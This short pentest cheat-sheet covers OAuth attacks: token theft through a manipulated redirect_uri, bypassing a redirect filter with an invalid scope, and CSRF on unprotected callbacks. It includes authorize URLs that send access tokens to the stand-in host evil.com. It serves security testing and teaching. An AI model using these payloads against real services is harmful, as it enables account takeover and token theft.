OAuth

Grabbing OAuth Token via redirect_uri

Redirect to a controlled domain to get the access token.

https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com

OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” can’t be pointed to an Open Redirect

Sometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri:

https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com

Cross-Site Request Forgery

Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (https://example.com/callback?code=AUTHORIZATION_CODE). This URL can be used in CSRF attacks.
